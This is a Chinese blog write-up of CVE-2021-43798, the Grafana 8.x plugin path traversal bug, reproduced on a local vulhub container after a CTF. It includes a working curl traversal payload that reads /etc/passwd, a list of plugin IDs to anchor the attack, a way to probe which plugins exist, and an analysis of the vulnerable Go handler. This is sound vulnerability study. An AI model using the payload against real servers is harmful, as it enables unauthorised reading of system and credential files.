目录

CVE-2021-43798复现

上个周末打了*CTF,其中有道题目涉及了CVE-2021-43798——Grafana 8.x 插件模块目录穿越漏洞,比赛时直接用现成的poc就完事了,现在复现一下。

复现步骤

P师傅的vulhub上有,所以复现起来就相对很方便。

服务启动后访问http://127.0.0.1:3000就能看到登陆页面了,在登录页面中有Grafana的版本信息。

这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用../的方式穿越目录,读取到服务器上的任意文件。

因此发送相对于插件目录的payload即可实现目录穿越。

┌─[pillow@MSI] - [~] - [319]
└─[$] curl http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd --path-as-is
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

常见的插件清单:

alertlist
cloudwatch
dashlist
elasticsearch
graph
graphite
heatmap
influxdb
mysql
opentsdb
pluginlist
postgres
prometheus
stackdriver
table
text

分析

漏洞原理分析

按照参考链接2中的方法,审计pkg/api/api.go

所有的路由都是通过以下方法进行注册的,第一个参数为匹配的路由,后面的即为对应路由的Handler。

// pkg/api/routing/route_register.go
// RouteRegister allows you to add routes and web.Handlers
// that the web server should serve.
type RouteRegister interface {
	// Get adds a list of handlers to a given route with a GET HTTP verb
	Get(string, ...web.Handler)

	// Post adds a list of handlers to a given route with a POST HTTP verb
	Post(string, ...web.Handler)

	// Delete adds a list of handlers to a given route with a DELETE HTTP verb
	Delete(string, ...web.Handler)

	// Put adds a list of handlers to a given route with a PUT HTTP verb
	Put(string, ...web.Handler)

	// Patch adds a list of handlers to a given route with a PATCH HTTP verb
	Patch(string, ...web.Handler)

	// Any adds a list of handlers to a given route with any HTTP verb
	Any(string, ...web.Handler)

	// Group allows you to pass a function that can add multiple routes
	// with a shared prefix route.
	Group(string, func(RouteRegister), ...web.Handler)

	// Insert adds more routes to an existing Group.
	Insert(string, func(RouteRegister), ...web.Handler)

	// Register iterates over all routes added to the RouteRegister
	// and add them to the `Router` pass as an parameter.
	Register(Router)

	// Reset resets the route register.
	Reset()
}

api.go中的路由分为两类,有两个参数的和三个参数的,三个参数的即为需要通过鉴权之类的middleware的路由。

这里有存在漏洞的路由为:

// pkg/api/api.go
// expose plugin file system assets
r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)

hs.getPluginAssets的功能为:

// pkg/api/plugins.go
// getPluginAssets returns public plugin assets (images, JS, etc.)
//
// /public/plugins/:pluginId/*
func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
	pluginID := web.Params(c.Req)[":pluginId"] // 获取插件名
	plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
	if !exists {
		c.JsonApiErr(404, "Plugin not found", nil) // 插件不存在就404
		return
	}

	requestedFile := filepath.Clean(web.Params(c.Req)["*"]) // 获取'*'中的路径
	pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile) // 与'plugin'的路径进行拼接

	if !plugin.IncludedInSignature(requestedFile) {
		hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
			"is not included in the plugin signature", "file", requestedFile)
	}

	// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
	// use this with a prefix of the plugin's directory, which is set during plugin loading
	// nolint:gosec
	f, err := os.Open(pluginFilePath) // 直接打开了,没有过滤'../'
    ......
}

关键位置已经写了注释了。

插件发现

从上面的过程中发现,要想成功的利用该目录穿越的漏洞,还需要找到一个存在的插件,在参考链接2中主要给出了以下几种方法:

  1. 收集插件列表进行爆破;
    1. http://127.0.0.1:3000/public/plugins/fake/1.txt 不存在的插件响应Plugin not found;
    2. http://127.0.0.1:3000/public/plugins/welcome/1.txt 存在的插件响应Plugin file not found
  2. 登录页面的js中探测插件信息。

可读的内容

可以考虑去读取以下内容:

grafana.png

有的没的

用docker复现漏洞也确实是方便,看了一下这个环境的docker-compose.yml

version: '2'
services:
  web:
    image: vulhub/grafana:8.2.6
    ports:
      - "3000:3000"

vulhub/grafana:8.2.6dockerfile内容为:

FROM grafana/grafana:8.2.6

LABEL maintainer="phithon <root@leavesongs.com>"

就是把grafana的官方images导入了一下。

如果遇到麻烦的环境,dockerfile可能写的就会复杂一些了,所以就好奇dockerfile怎么debug,大概查了一下。 由于docker是按层构建的,所以在出错的层之前的内容是构建成功的,因此可以启动成功部分的镜像,再手动输入命令来debug。 也可以通过docker logs <container_id>的方式查看日志进行debug

参考链接

  1. Grafana 8.x 插件模块目录穿越漏洞(CVE-2021-43798)
  2. grafana最新任意文件读取分析以及衍生问题解释
  3. Install on Debian or Ubuntu
  4. 调试 Dockerfile - 每天5分钟玩转 Docker 容器技术(15)
  5. Docker/Dockerfile debug调试技巧